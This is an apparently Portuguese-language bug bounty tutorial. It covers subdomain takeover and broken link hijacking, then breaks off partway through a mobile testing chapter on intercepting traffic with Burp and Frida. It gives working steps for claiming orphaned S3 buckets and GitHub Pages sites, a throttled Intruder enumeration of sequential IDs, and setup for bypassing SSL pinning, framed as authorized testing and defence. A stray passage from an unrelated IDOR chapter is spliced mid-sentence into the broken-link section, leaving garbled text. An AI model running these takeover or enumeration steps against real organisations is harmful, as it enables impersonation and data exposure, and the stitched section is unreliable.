> **Por que dois scores?** O **v3.1** ainda é o que a maioria dos programas usa; o **v4.0** (FIRST, 2023) aposentou o `S` (Scope) e separou impacto **no sistema vulnerável** (`VC/VI/VA`) de impacto **subsequente** (`SC/SI/SA`) — o que **descreve melhor um takeover**, em que o dano explode num *outro* lugar (os usuários e a sessão da vítima), não no bucket órfão. Os valores de v4.0 acima são **aproximados** (o v4.0 calcula por tabela de macrovetor, não por fórmula simples — confira no calculador oficial). Calibre o número conforme o que você **provou**, não o teórico — detalhe em Severidade & Triagem.

Como funciona por trás

O fluxo de um Subdomain Takeover tem **três peças** que precisam estar alinhadas:

```
1. alvo.com tem um CNAME:  promo.alvo.com  ->  alvo-promo.s3.amazonaws.com
2. O recurso de destino NÃO EXISTE MAIS (bucket deletado, app deprovisionado)
3. O serviço de terceiro permite QUALQUER UM reivindicar aquele nome de volta
```

Quando as três acontecem juntas, está vulnerável. Vamos ver as peças:

Peça 1 — o CNAME pendurado. Você consulta o DNS e vê pra onde o subdomínio aponta:

```
dig CNAME promo.alvo.com +short
# alvo-promo.s3.amazonaws.com.   <- o CNAME ainda existe, apontando pra Amazon
```

Peça 2 — o destino morreu. Você acessa o subdomínio e o **serviço de terceiro** te responde com uma mensagem de "esse recurso não existe aqui":

```
GET / HTTP/1.1
Host: promo.alvo.com

HTTP/1.1 404 Not Found
Server: AmazonS3

<Error>
  <Code>NoSuchBucket</Code>
  <Message>The specified bucket does not exist</Message>   <!-- <- FINGERPRINT: bucket
órfão -->
</Error>
```

Essa mensagem é a **fingerprint** (assinatura) — a prova de que o destino está vago **e** de que esse serviço permite reivindicação. Cada serviço tem a sua (tabela mais abaixo).

Peça 3 — você reivindica. Cria o bucket `alvo-promo` na **sua** conta AWS. Como o CNAME já manda o tráfego pra lá, agora o seu bucket responde por `promo.alvo.com`. Sobe um arquivo:

```
GET /poc.html HTTP/1.1
Host: promo.alvo.com

HTTP/1.1 200 OK
Server: AmazonS3

<h1>PoC - controlado pelo pesquisador</h1>   <!-- <- servido pelo domínio da vítima -->
```

Por que o terceiro deixa isso acontecer? Porque serviços como S3 distribuem recursos por **nome global** ("primeiro que pedir, leva") e **não verificam** se você é dono do domínio `alvo.com` que aponta pra eles. A AWS só te pergunta "esse nome de bucket está livre?", não "você manda em `alvo.com`?". É exatamente esse buraco que o GitHub Pages **fechou** com domínio verificado (veremos na defesa). (O ecossistema S3/AWS — buckets públicos, ACLs, chaves vazadas — tem capítulo próprio: Cloud & AWS Misconfiguration.)

Tipos e variações

A condição muda conforme o serviço de destino. Direto do projeto de referência da comunidade, **Can I take over XYZ?** (o catálogo de fingerprints mantido pelo EdOverflow). As fingerprints abaixo são as que ele lista:

Serviço	Fingerprint (texto na resposta)	Status
AWS S3	`The specified bucket does not exist` (`NoSuchBucket`)	Vulnerável
GitHub Pages	`There isn't a GitHub Pages site here.`	Edge case (depende de domínio verificado)
Heroku	`No such app` / página `There's nothing here, yet.`	Edge case
Microsoft Azure	resolve, mas dá `NXDOMAIN` no destino (resposta DNS de "esse nome não existe")	Vulnerável
Bitbucket	`Repository not found`	Vulnerável
Shopify 🔺	`Sorry, this shop is currently unavailable.`	Edge case (condições específicas)
Fastly	`Fastly error: unknown domain:`	**NÃO** vulnerável (Fastly bloqueia reivindicação não autorizada)

> **"Edge case" e "Not vulnerable" não são detalhe — são o jogo.** Achar a fingerprint do Fastly e reportar como takeover é **falso positivo**: a Fastly implementa proteção contra reivindicação. O catálogo "Can I take over XYZ" existe justamente pra você **saber se aquele serviço é mesmo reivindicável** antes de gastar tempo (e antes de queixar credibilidade no report). Sempre confira o status lá.

Outras variações além do CNAME clássico:

1. **Subdomain Takeover por NS** — o subdomínio delega DNS (`NS`) pra uma zona em provedor onde a zona foi deletada; quem recriar a zona controla **tudo** abaixo do subdomínio.
2. **Registro A pendurado** — A record apontando pra IP de uma instância/cloud que foi liberado e pode ser realocado pra você (mais raro, depende do provedor reciclar IPs).
3. **Host hardcoded em app/binário** — o subdomínio órfão não está nem no DNS público, está **cravado num APK/JS**. (No nosso material, um caso real-fictício veio de um `*.herokuapp.com` hardcoded num APK aberto com `jadx` .)
4. **Broken Link Hijacking (domínio expirado)** — a página do alvo carrega um `<script src="https://lib-parceiro.com/widget.js">` e `lib-parceiro.com` **expirou**. Você registra o domínio e agora serve **JavaScript** que roda no contexto da página do alvo (vira quase um XSS persistente).
5. **Broken Link Hijacking (handle social)** — o rodapé linka `instagram.com/marca_oficial` e a conta foi deletada. Você registra o handle e se passa pela marca.

Recon — como encontrar

O takeover é **filho do recon**. Quanto mais subdomínios você enumera, mais "casas abandonadas" encontra. (O pipeline completo de enumeração está no capítulo Recon & Discovery — aqui só recapitulo o necessário e foco no que é específico de takeover.)

Passo 1 — Enumerar subdomínios (recapitulando)

```
# subfinder: enumerador passivo, consulta dezenas de fontes (CT logs, agregadores DNS)
subfinder -d alvo.com -all -silent -o subs.txt

# some o crt.sh (Certificate Transparency) pra não perder nada e deduplique
curl -s "https://crt.sh/?q=%25.alvo.com&output=json" | jq -r '.[].name_value' \
  | sed 's/\*\.//g' | sort -u >> subs.txt
sort -u subs.txt -o subs.txt
```

> **Por que CT logs ajudam tanto aqui:** todo certificado HTTPS emitido fica registrado em **Certificate Transparency**. Subdomínios de campanhas antigas (`promo`, `staging`, `legacy`, `2019-evento`) costumam ter emitido um cert um dia — e o registro **fica pra sempre**, mesmo que o serviço tenha morrido. CT log é um cemitério de subdomínios esquecidos. Perfeito pra caçar takeover.

Passo 2 — Olhar o CNAME de cada subdomínio (o sinal de ouro)

O coração do recon de takeover: ver **pra onde cada subdomínio aponta**. Subdomínio que resolve pra um **serviço de terceiro** (S3, Heroku, Azure, GitHub) é candidato.

```
# dig em massa: pra cada subdomínio, mostra o CNAME (se houver)
while read sub; do
  cname=$(dig +short CNAME "$sub" | head -1)
  [ -n "$cname" ] && echo "$sub -> $cname"
done < subs.txt | tee cnames.txt
```

`dig` (*Domain Information Groper*) é o canivete do DNS. `dig +short CNAME nome` te devolve só o destino do apelido — limpo, sem ruído. Procure destinos como `*.s3.amazonaws.com`, `*.herokudns.com`, `*.github.io`, `*.azurewebsites.net`, `*.cloudfront.net`.

```
# o que você quer ver em cnames.txt — subdomínios apontando pra terceiros:
promo.alvo.com    -> alvo-promo.s3.amazonaws.com.
legacy.alvo.com   -> alvo-legacy.herokudns.com.
docs.alvo.com     -> alvo.github.io.
```

Passo 3 — Fingerprintar (automatizar a checagem das 3 peças)

Você não vai abrir 800 subdomínios na mão. Duas ferramentas resolvem:

`nuclei` — scanner baseado em templates da ProjectDiscovery. Tem uma coleção de templates de takeover que batem a resposta de cada host contra as fingerprints do "Can I take over XYZ".

```
# instalar
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
nuclei -update-templates   # baixa/atualiza a base de templates

# rodar SÓ os templates de takeover na sua lista de hosts vivos
nuclei -list subs.txt -tags takeover -o takeover-hits.txt
```

`subjack` — scanner dedicado a takeover, escrito em Go pelo haccer. Lê a lista, checa CNAME + fingerprint e marca os vulneráveis.

```
# instalar
go install github.com/haccer/subjack@latest

# rodar (exemplo do README do projeto)
subjack -w subs.txt -t 100 -timeout 30 -o results.txt -ssl
```

Flags do subjack que importam:

Flag	O que faz
`-w`	wordlist/lista de subdomínios a checar
`-t`	threads concorrentes (default 10; `100` acelera muito)
`-timeout`	timeout de conexão em segundos
`-ssl`	força HTTPS nas checagens
`-o`	arquivo de saída (use `.json` pra sair em JSON)
`-a`	checa **todas** as URLs, não só as com CNAME identificado
`-m`	sinaliza CNAMEs "mortos" mesmo sem estarem registrados (bom pra varrer candidatos)
`-v`	verbose (mostra também os não vulneráveis)

> **Regra de ouro:** ferramenta **acha candidato**, você **confirma na mão**. Tanto nuclei quanto subjack dão **falso positivo** (fingerprint genérica, serviço que não é reivindicável, cache de CDN). Antes de reportar, rode o `dig` e o acesso HTTP você mesmo, e confira o **status no "Can I take over XYZ"**. (É a mesma lição do Misconfiguration & CVE hunting: "nem todo achado de scanner é vulnerabilidade — leia o que o template faz".)

Recon de Broken Link Hijacking

Aqui você não olha DNS — olha o **HTML/JS** das páginas do alvo atrás de links externos que dão 404 / domínio expirado.

```
# colete todas as URLs históricas e atuais (gau = URLs do Wayback/Common Crawl)
echo alvo.com | gau --subs > urls.txt

# extraia destinos EXTERNOS referenciados nas páginas (src/href pra outros domínios)
# e cheque quais respondem erro / não resolvem
katana -u https://alvo.com -jc -d 2 -silent \
  | grep -oE 'https?://[^"]+' | sort -u > links-externos.txt

httpx -l links-externos.txt -status-code -title -silent | grep -E ' \[40[34]\]| \[5'
```

- `gau` coleta URLs históricas (já apareceu no Recon). `katana` rastreia a página e extrai links/`src`. `httpx` prova quais respondem erro.
- Para **handles de rede social**: leia o rodapé/contato do site, anote os perfis linkados, e cheque se cada um **ainda existe**. Handle que dá 404 e está **livre pra registro** = BLH.

Exploração passo a passo (do básico ao avançado)

Nível 1 — Confirmar o CNAME pendurado

```
dig CNAME promo.alvo.com +short
# alvo-promo.s3.amazonaws.com.    <- aponta pra S3

curl -s https://promo.alvo.com/
# <Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</
Message></Error>
```

CNAME existe **e** o destino dá fingerprint de órfão. As peças 1 e 2 confirmadas.

Nível 2 — Conferir se o serviço é reivindicável

Antes de mexer: abra o **Can I take over XYZ** e confira o status do serviço. S3 = **Vulnerável**. Fastly = **Não**. GitHub Pages = **edge case** (depende de domínio verificado). Esse passo te salva de reportar falso positivo.

Nível 3 — Reivindicar o recurso (PoC SEGURA)

A regra de ouro da PoC: **prove o controle com o conteúdo mais inofensivo possível.** Nada de JS, nada de roubar nada — só um HTML estático que diz "isto está sob controle do pesquisador".

Exemplo S3: o nome do bucket é o que estava no CNAME (`alvo-promo`). Crie na **sua** conta:

```
# cria o bucket com o MESMO nome do destino do CNAME (na sua conta AWS)
aws s3api create-bucket --bucket alvo-promo --region us-east-1

# habilita hospedagem de site estático
aws s3 website s3://alvo-promo/ --index-document index.html
```

```
# sobe uma página inofensiva de prova
printf '<h1>PoC subdomain takeover - %s - pesquisador autorizado</h1>' "$(date -u +
%FT%TZ)" > index.html
aws s3 cp index.html s3://alvo-promo/index.html
```

```
# valida que o domínio da VÍTIMA serve o seu conteúdo
curl -s https://promo.alvo.com/
# <h1>PoC subdomain takeover - 2026-05-31T... - pesquisador autorizado</h1>   <-
takeover provado
```

Exemplo GitHub Pages (edge case): se `docs.alvo.com → alvo.github.io` der `There isn't a GitHub Pages site here.` **e** o domínio não estiver verificado, cria um repo, sobe um `index.html` e um arquivo `CNAME` com o conteúdo `docs.alvo.com`, e ativa Pages apontando pra ele. O GitHub passa a servir seu repo em `docs.alvo.com`.

> **PoC mínima e datada.** Use um path único (`/poc-<seudata>.html`), conteúdo neutro, e **remova** logo após documentar. Não capture tráfego real, não sirva JS, não colete cookie de ninguém. O objetivo é **provar controle**, não causar dano. Isso é o que separa pesquisa de crime — e o triador percebe a diferença.

Nível 4 — Broken Link Hijacking

Achou no rodapé do alvo: `Nosso blog**dinheiro está no impacto**, e impacto = *dado sensível + escala* (capítulo 02 — Severidade & Impacto). Um único PDF é "um caso"; mil PDFs é "vazamento de PII em massa".

O `ref` é **sequencial** (`88212` , `88213` ...). Logo, dá pra enumerar. Mas com **disciplina ética e de escopo**: o programa pede máx. ~5 req/s e proíbe scanning agressivo. Então uso o **Burp Intruder** em modo `Sniper` (varia uma posição por vez) com **throttle**, e só o suficiente pra **provar o conceito** — não pra baixar a base inteira de ninguém.

```
POST /v1/billing/statement/export HTTP/2
Host: api.exemplo.com
Authorization: Bearer <token_Conta_A>
Content-Type: application/json

{"ref":"§88200§","format":"pdf"}   # Intruder: payload numérico 88200–88230
```

Configuro: payload type *Numbers*, de `88200` a `88230` (faixa pequena, ~30 requests), com *Resource pool* limitando a concorrência e um delay → fica abaixo dos 5 req/s. Resultado: **a maioria responde `200`** com `downloadToken` distinto. Trinta refs sequenciais, trinta tokens válidos de extratos diferentes. **Está provado que é enumerável** — e eu paro por aí, porque trinta já demonstram o padrão sem precisar tocar em dado de cliente real em volume.

> ` e o domínio **expirou** (status "disponível para registro" no registrar).

1. Registre `blog-parceiro-antigo.com` (custo baixo, é o "aluguel da loja vaga").
2. Suba uma página inofensiva de PoC identificando o pesquisador.
3. Documente: o link **na página do alvo** apontando pra um domínio que **agora é seu**.

Para handle social: registre o `@marca_oficial` que estava 404, ponha um aviso de PoC no perfil, e documente o link oficial do alvo apontando pra ele.

Nível 5 — Escalando o impacto (sem sair da PoC segura)

Você **não precisa** explorar de verdade pra **argumentar** o impacto no report — basta provar a condição e explicar a cadeia:

- **Cookie de escopo de domínio:** cheque se a app seta `Set-Cookie: ...; Domain=.alvo.com`. Se sim, **explique** que o subdomínio sequestrado leria esses cookies (não precisa roubar de ninguém — descreva o vetor).
- **Uso em CSP/CORS:** se `alvo.com` tem `Content-Security-Policy: script-src *.alvo.com`, seu subdomínio sequestrado serve JS **dentro da política** — argumente o XSS de origem confiável.
- **BLH com JS:** se o link quebrado era um `<script src>`, o JavaScript que você serve **executa na página do alvo**. Aí o impacto é o de um XSS persistente — descreva, mas mantenha a PoC um `console.log` / `alert` neutro.

Caso real-fictício: S3 órfão em `staging-assets.alvo.com`

> Cenário **fictício, baseado em padrões reais** de programas de bug bounty (anonimizado).

Você está no recon de `alvo.com`. O `subfinder` + `crt.sh` cospem ~600 subdomínios. Roda o `dig` em massa e um chama atenção:

```
staging-assets.alvo.com -> alvo-staging-assets.s3.amazonaws.com.
```

Passo 1 — Confirmar a fingerprint. Acessa direto:

```
GET / HTTP/1.1
Host: staging-assets.alvo.com

HTTP/1.1 404 Not Found
Server: AmazonS3
Content-Type: application/xml
```

```
<?xml version="1.0" encoding="UTF-8"?>
<Error>
  <Code>NoSuchBucket</Code>                                    <!-- <- bucket órfão -->
  <Message>The specified bucket does not exist</Message>
  <BucketName>alvo-staging-assets</BucketName>
  <RequestId>8XCYKHFCCCD1JRRK</RequestId>
</Error>
```

`NoSuchBucket` + S3 no "Can I take over XYZ" = **Vulnerável**. As três peças batem.

Passo 2 — Reivindicar (PoC segura). Cria o bucket `alvo-staging-assets` na sua conta, marca como público, sobe um `test.html` com o texto `PoC Done - pesquisador`.

Passo 3 — Provar. Acessa pelo domínio da vítima:

```
GET /test.html HTTP/1.1
Host: staging-assets.alvo.com

HTTP/1.1 200 OK
Server: AmazonS3

PoC Done - pesquisador          <!-- <- conteúdo seu, servido por staging-
assets.alvo.com -->
```

O que a tela do Burp/navegador mostraria: a barra de endereço com `https://staging-assets.alvo.com/test.html` (cadeado, domínio legítimo da empresa) renderizando a sua página de PoC. Lado a lado: o XML `NoSuchBucket` (antes) e o `200 OK` com seu conteúdo (depois), com o `Host` destacado.

Passo 4 — Report. Título `[Subdomain Takeover] - Bucket S3 órfão em staging-assets.alvo.com serve conteúdo arbitrário`. Severidade **Média** (CVSS **v3.1 6.1** / **v4.0 ~5.3**) se for só defacement/phishing; sobe pra **Alta/Crítica** (CVSS **v3.1 9.3** / **v4.0 ~8.6**) se você demonstrar cookie de escopo de domínio (`Domain=.alvo.com`) ou uso em auth/CSP — aí o impacto é o da chain. Resumo focado no negócio: "*qualquer pessoa pode servir conteúdo (phishing, JS) sob um subdomínio legítimo da empresa, herdando a confiança do domínio*". Passos numerados + prints do `dig` , do XML e do `200` . (Como estruturar isso: Como escrever um report que paga.)

Defesa em camadas

A correção é **operacional + arquitetural**, não um patch de código. A regra mestra: **a ordem de desligamento importa.**

1. Ordem correta ao decomissionar (a defesa nº 1):

> Sempre **remova o registro DNS ANTES** de liberar o recurso de terceiro. Se você deletar o bucket/app primeiro e deixar o CNAME, abre a janela de takeover. A OWASP WSTG é direta: "*o registro DNS vulnerável deve ser removido da zona DNS*".

```
ERRADO:                          CORRETO:
1. deletar bucket S3             1. remover CNAME do DNS  <- primeiro
2. (CNAME fica pendurado) X      2. depois liberar o bucket S3
```

2. Verificação de domínio no provedor (quando existe): use os mecanismos que matam a peça 3 da falha. No **GitHub Pages**, *domínio verificado* faz com que **só repositórios da sua organização** possam publicar naquele domínio e subdomínios — atacante não consegue reivindicar. Habilite onde o serviço oferecer.

3. Nada de wildcard solto: evite `*.alvo.com` apontando genericamente pra um provedor — é risco imediato de takeover de qualquer host inventado, mesmo com domínio verificado.

4. Inventário e monitoramento contínuo (IaC + varredura agendada): trate registros DNS como código, com dono e ciclo de vida. E **rode o scanner contra você mesmo**, periodicamente:

```
# .github/workflows/dns-hygiene.yml — varredura agendada do seu PRÓPRIO DNS
name: dns-hygiene
on:
  schedule: [{ cron: "0 6 * * *" }]   # todo dia 06:00 UTC
jobs:
  takeover-scan:
    runs-on: ubuntu-latest
    steps:
      - run: go install github.com/haccer/subjack@latest
      - run: subjack -w meus-subdominios.txt -t 100 -timeout 30 -ssl -o report.txt
      - run: test ! -s report.txt   # falha o build se achar candidato a takeover
```

5. Processo de offboarding: quando um time desliga um serviço, um checklist obriga remover os DNS associados **antes** de cancelar o contrato. Sem processo, o `staging-assets` de 2019 fica pendurado pra sempre.

> **O que NÃO basta:** apagar o conteúdo do bucket (o nome continua reivindicável); confiar que "ninguém vai achar esse subdomínio" (CT logs acham tudo); deletar o recurso de terceiro deixando o CNAME; e — pra BLH — só remover o link da página atual sem checar páginas antigas/cacheadas que ainda apontam pra lá.

Ferramentas + labs legais

- **`dig`** — consulta de DNS (CNAME/A/NS). O ponto de partida pra confirmar manualmente.
- **`subfinder`** / **`amass`** / **`crt.sh`** — enumeração de subdomínios (ver Recon).
- **`nuclei`** (**`-tags takeover`**) e **`subjack`** — fingerprinting automático de takeover.
- **`gau`** / **`katana`** / **`httpx`** — coleta e probing de links externos pra Broken Link Hijacking.

- **Can I take over XYZ?** — catálogo de fingerprints e status (Vulnerável / edge case / Não). **Consulta obrigatória.**
- **Labs / leitura autorizada:** OWASP WSTG — Test for Subdomain Takeover, PortSwigger Web Security Academy (fundamentos web), TryHackMe e HackTheBox (máquinas com takeover). Para praticar **de verdade**, registre subdomínios **da sua própria conta** apontando pra um S3/Heroku seu e treine o ciclo.

Checklist do caçador

- [ ] Enumerei subdomínios com `subfinder` + `crt.sh` + `amass` e dedupliquei.
- [ ] Rodei `dig +short CNAME` em todos e separei os que apontam pra **terceiros** (S3, Heroku, GitHub, Azure...).
- [ ] Acessei cada candidato e identifiquei a **fingerprint** (`NoSuchBucket`, `No such app`, etc.).
- [ ] Confirmei no **"Can I take over XYZ"** que o serviço é **reivindicável** (e não um Fastly da vida).
- [ ] Provei o controle com **PoC mínima e inofensiva** (HTML neutro, datado, removido depois).
- [ ] Verifiquei impacto: cookie `Domain=.alvo.com`? subdomínio em CSP/CORS/auth?
- [ ] (BLH) Varri links/`src` externos e handles sociais que dão 404 e estão livres pra registro.
- [ ] Conferi que takeover **está no escopo** do programa.

Pegadinhas / o que NÃO funciona

- **Fingerprint ≠ takeover.** `Fastly error: unknown domain:` parece vulnerável, mas a Fastly **bloqueia** reivindicação não autorizada. Sempre cheque o status.
- **Cache de CDN engana.** Um `404` cacheado pode sumir ao revalidar. Cheque o DNS ao vivo (`dig`), não só o HTTP.
- **NXDOMAIN puro nem sempre é takeover.** Subdomínio que não resolve nada pode ser só lixo — o que importa é o **CNAME apontando pra serviço reivindicável**.
- **GitHub Pages com domínio verificado não cai.** Se a org verificou o domínio, a fingerprint aparece mas você **não** consegue reivindicar. Edge case = teste, não assuma.
- **Reivindicar e "deixar lá" é antiético e arriscado.** Faça a PoC, documente e **devolva** (remova o recurso). Segurar o subdomínio da vítima é abuso.

O que você precisa lembrar

- **Subdomain Takeover** = CNAME (ou NS/A) **pendurado** apontando pra recurso de terceiro **não reivindicado**. Você reivindica e passa a servir conteúdo sob o domínio da vítima.
- **Broken Link Hijacking** = link/handle externo **expirado** que o alvo ainda recomenda; você registra e fala em nome dele.

- O ciclo é sempre: **enumerar → `dig` CNAME → fingerprint → conferir status no "Can I take over XYZ" → PoC segura**.
- A defesa nº 1 é **remover o DNS antes de liberar o recurso** + verificação de domínio + monitoramento.

> **Dica de ouro:** o melhor lugar pra achar takeover é o **passado** do alvo. Subdomínios de campanhas mortas (`promo-2019`, `staging-x`, `legacy`) vivem nos **CT logs** muito depois de o serviço morrer. Enumere o histórico, rode `dig` em tudo, e procure a "loja vaga com a placa ainda pendurada".

Nota ética

Tudo aqui é pra **testes autorizados** — bug bounty dentro do escopo, pentests contratados e seus próprios recursos. Reivindicar um subdomínio de terceiro **sem autorização** é abuso, mesmo "só pra provar". Faça a PoC **mínima** (HTML neutro), **documente** e **devolva o recurso** imediatamente; nunca capture tráfego, cookie ou dado de usuário real. O objetivo é proteger e reportar com responsabilidade — não ocupar o que não é seu.

Referências

- EdOverflow — Can I take over XYZ? (catálogo de fingerprints e status por serviço)
- OWASP WSTG — Test for Subdomain Takeover
- Microsoft — Prevent dangling DNS entries and avoid subdomain takeover
- GitHub Docs — Managing a custom domain for your GitHub Pages site (domínio verificado)
- haccer/subjack — Subdomain Takeover tool
- ProjectDiscovery — Nuclei (templates `-tags takeover`)

Bug Bounty em Mobile: testando apps Android/iOS (e a API por trás)

O segredo que ninguém te conta sobre mobile

Tem gente que olha pra um programa de bug bounty com escopo mobile (um `*.apk`, um app na App Store) e congela: "*não sei nada de Android, não sei programar em Kotlin, vou passar*". Erro. A verdade que mais economiza tempo na sua carreira é esta:

> **A maior parte de mobile bug bounty é testar a API HTTP por trás do app — e isso você já sabe fazer.**

Um app de banco, de delivery ou de rede social é, na prática, um **cliente bonito** que conversa com uma API REST/GraphQL. Quando você consegue colocar o **Burp no meio** dessa conversa, o "alvo mobile" vira o **mesmo alvo web** que você já ataca nos posts 10, 12 e 20: IDOR, BFLA, business logic, tudo. O que muda é (1) **como interceptar** esse tráfego (o app não tem uma barra de URL, e muitas vezes usa **pinning** pra te bloquear) e (2) um conjunto de falhas **específicas do device** (segredos no APK, armazenamento inseguro, deeplink inseguro, WebView perigosa).

> **IDOR / BOLA**: você troca o ID de um recurso na request (ex.: `accountId=1001` → `1002`) e acessa o dado de **outro usuário** porque o servidor não checa se aquilo é seu. **BFLA**: você chama uma **função/endpoint que não devia** (ex.: rota de admin) com seu token comum, e o servidor deixa. (Glossário)
>
> **Pinning** (SSL/certificate pinning): o app só confia num certificado específico, "fixado" no código — por isso o certificado do Burp não cola e a interceptação quebra. Vamos derrubar isso já já. Glossário

Este capítulo cobre **do básico ao avançado**: setup completo, panorama OWASP (Mobile Top 10 + MASVS), os achados que mais aparecem, e o **pulo do gato** de levar o tráfego interceptado pro seu arsenal web.

O que é "testar um app mobile", afinal

Analogia: pensa no app como o **garçom** de um restaurante. Você (usuário) fala com o garçom numa linguagem bonitinha (a tela), mas quem realmente prepara, guarda e serve a comida é a **cozinha** (a API + o servidor). Testar mobile é, em boa parte, **conseguir ouvir o que o garçom fala com a cozinha** — e depois mandar pedidos direto pra cozinha, pulando o garçom.

Tecnicamente, um teste de app tem **duas frentes**:

Frente	O que você analisa	Como
Dinâmica (a API)	O tráfego HTTP que o app gera	Roteia pro Burp, intercepta, manipula
Estática + device	O que está **dentro** do app e **no aparelho**	Decompila o APK/IPA, lê o armazenamento, testa componentes

A grande sacada é entender que a **autorização de verdade mora no servidor**. O app pode esconder um botão de admin, mas se a API aceita a request, o bug está lá — independente do app. Por isso a frente dinâmica costuma render os achados mais graves (e mais bem pagos).

Por que isso importa (e quanto paga)

- **A API por trás** é onde moram IDOR/BOLA, BFLA e business logic — as classes que mais pagam (de algumas centenas a **dezenas de milhares de reais**, como vimos no capítulo 10).
- **Segredos hardcoded no app** (API keys, credenciais, hosts internos) dão acesso a sistemas que deviam ser privados — é a mesma família de credenciais/segredos vazados que vimos em Security Misconfiguration, só que a "fonte" agora é o APK. E às vezes encadeiam pra outras falhas (ex.: um host esquecido no APK que vira subdomain takeover).
- **Deeplink inseguro + WebView** podem virar **account takeover** com um clique.

Na prática, achados de app costumam pagar em faixas parecidas com web: **R$500–R$3.000** pra hardcoded secrets / data storage de impacto médio, e **R$5.000+** quando a API exposta vaza PII em escala ou permite ATO. O impacto manda no número — não a "dificuldade" de ter mexido com mobile.

> **PII** (Personally Identifiable Information): dado pessoal que identifica alguém (nome, CPF, e-mail, telefone). **ATO** (Account Takeover): quando o atacante toma a conta da vítima. Vazar PII em escala ou tomar contas é o que dispara as maiores recompensas.
>
> **Escopo.** Muitos programas separam "app" de "API". Leia as regras: às vezes o `*.apk` está no escopo mas a API tem regras próprias (rate limit, contas de teste). E **nunca** ataque infraestrutura de loja (Play Store/App Store) — só o app do programa.

Setup: colocando o Burp no meio do tráfego

Essa é a parte que assusta os iniciantes e que, feita uma vez, você nunca mais esquece. Vou focar em **Android** (mais aberto e o que aparece em 90% dos programas); no fim falo do iOS.

Passo 0 — Ter onde rodar o app

Você precisa de um **Android controlável**:

- **Emulador** — o jeito mais fácil é um **AVD (Android Virtual Device)** do Android Studio. **Dica de ouro:** crie uma imagem **"Google APIs" e NÃO "Google Play"** — as imagens *sem* Play Store vêm **rootadas** (você consegue `adb root`), o que facilita instalar o certificado como CA de sistema e rodar o `frida-server`.
- **Dispositivo físico rootado** — mais realista (alguns apps detectam emulador), mas requer root (Magisk).

> `adb` (Android Debug Bridge): a ferramenta de linha de comando que conecta seu PC ao device/emulador (instalar apps, mexer em arquivos, abrir shell). Vem no Android SDK Platform Tools. Glossário

Confirme que o device aparece:

```
adb devices          # lista os dispositivos conectados
adb shell getprop ro.product.cpu.abilist   # ex.: x86_64 (você vai precisar disso pro frida-server)
```

Passo 1 — Apontar o tráfego do app pro Burp

O Burp escuta numa porta (padrão `127.0.0.1:8080`). Primeiro, faça o Burp escutar em **todas as interfaces** (Proxy → Proxy settings → editar o listener → bind to *All interfaces*), e descubra o **IP da sua máquina** na rede (ex.: `192.168.0.10`).

Agora configure o proxy no Android:

- **Emulador / Wi-Fi:** Settings → Wi-Fi → (segura na rede) → *Modify network* → *Proxy: Manual* → Host `192.168.0.10`, Port `8080`.
- Teste abrindo `http://192.168.0.10:8080` no navegador do device: tem que aparecer a página do Burp ("Burp Suite ... Welcome").

Pronto: **o tráfego HTTP já cai no Burp**. O **HTTPS**, porém, vai dar erro de certificado — é aí que entra o próximo passo.

Passo 2 — Instalar o certificado CA do Burp no Android

> **CA (Certificate Authority)**: a "autoridade" em quem o sistema confia pra assinar certificados HTTPS. O Burp gera o seu próprio CA; pro app aceitar o HTTPS interceptado, o Android precisa **confiar nesse CA**. Glossário

Exporte o CA do Burp em **formato DER**: Proxy → Proxy settings → *Import / export CA certificate* → *Certificate in DER format* → salve como `cacert.der`.

Aqui mora a pegadinha que trava todo mundo. **A partir do Android 7 (Nougat, API 24)**, o Google mudou as regras: **apps que miram API 24+ não confiam mais em CAs instalados pelo usuário** por padrão — só na **store de sistema**. Ou seja, instalar o CA "como usuário" (em Settings) faz o **navegador** funcionar, mas **a maioria dos apps continua ignorando** o seu CA.

Existem dois "níveis" de CA:

Tipo	Onde fica	Quem confia
User CA	`/data/misc/user/0/cacerts-added/`	Só o navegador e apps que **optarem** por isso (raro)
System CA	`/system/etc/security/cacerts/`	**Todos** os apps por padrão

Por que isso acontece? Existe um arquivo opcional, o `network_security_config` (XML no `res/xml/`, referenciado no `AndroidManifest.xml`), onde o dev declara em quais CAs o app confia. Sem ele, o padrão do Android 7+ é: *só* `system`. Por isso, pra interceptar a maioria dos apps, você precisa instalar o CA do Burp como **CA de sistema** (num device/emulador rootado).

> `network_security_config`: o XML onde o app declara política de rede/TLS (quais CAs confiar, se permite cleartext, se faz pinning). Ler esse arquivo já te diz se o app vai dar trabalho. Glossário

Instalando como System CA (emulador rootado):

O Android espera o CA com um nome no formato `<hash>.0`. Você calcula o hash com o OpenSSL e empurra pro diretório de sistema:

```
# 1. Converte o DER do Burp pra PEM e calcula o nome esperado pelo Android
openssl x509 -inform DER -in cacert.der -out cacert.pem
HASH=$(openssl x509 -inform PEM -subject_hash_old -in cacert.pem -noout | head -1)
cp cacert.pem "$HASH.0"

# 2. Monta /system como gravável e copia o CA (emulador "Google APIs", rootado)
adb root
adb remount                          # torna /system gravável
adb push "$HASH.0" /system/etc/security/cacerts/
adb shell chmod 644 /system/etc/security/cacerts/$HASH.0
adb reboot                           # reinicia pro Android reler a store de sistema
```

> Em **Android 10+** o `/system` costuma ser read-only de verdade; nesses casos o caminho é montar um overlay via `adb shell mount -o rw,remount /` ou usar **Magisk +**

> **módulo de CA** (ex.: o módulo *MagiskTrustUserCerts* "promove" o user CA a system CA). Em **Android 14** há suporte a CAs atualizáveis em `/apex/com.android.conscrypt/cacerts/`. A ferramenta **objection** automatiza boa parte disso; e o **HTTPToolkit** tem um modo "one-click" que resolve isso pra você.

Depois do reboot, o HTTPS dos apps cai no Burp **decriptado**. Falta um inimigo: o pinning.

Passo 3 — Derrubando o SSL Pinning

Mesmo com o CA de sistema instalado, alguns apps **se recusam** a falar com o Burp: eles têm o certificado/chave **fixado no código** (pinning) e comparam com o que recebem. Como o Burp apresenta o **dele**, a comparação falha e a conexão morre (você vê erros de TLS handshake / `SSLPeerUnverified` no logcat).

A solução é instrumentação dinâmica: o Frida.

> **Frida**: um toolkit que **injeta JavaScript dentro de um processo em execução** e "engancha" (hooks) funções em tempo real — você consegue trocar o que uma função retorna sem recompilar o app. É o canivete suíço do mobile testing. Glossário

Instalar o `frida-server` no device (precisa de root). Baixe o binário do release que bate com a arquitetura do passo 0 (ex.: `frida-server-XX.X.X-android-x86_64`):

```
# No PC: instala o cliente Frida
pip install frida-tools

# Empurra o frida-server pro device e sobe
adb push frida-server /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server"
adb shell "/data/local/tmp/frida-server &"   # roda em background no device

